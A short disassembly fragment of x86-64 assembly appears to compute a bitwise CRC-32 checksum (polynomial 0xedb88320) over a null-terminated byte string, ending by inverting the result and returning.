shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
movzx ecx, byte [r8]
test cl, cl
jne 0x140011e21
not eax
ret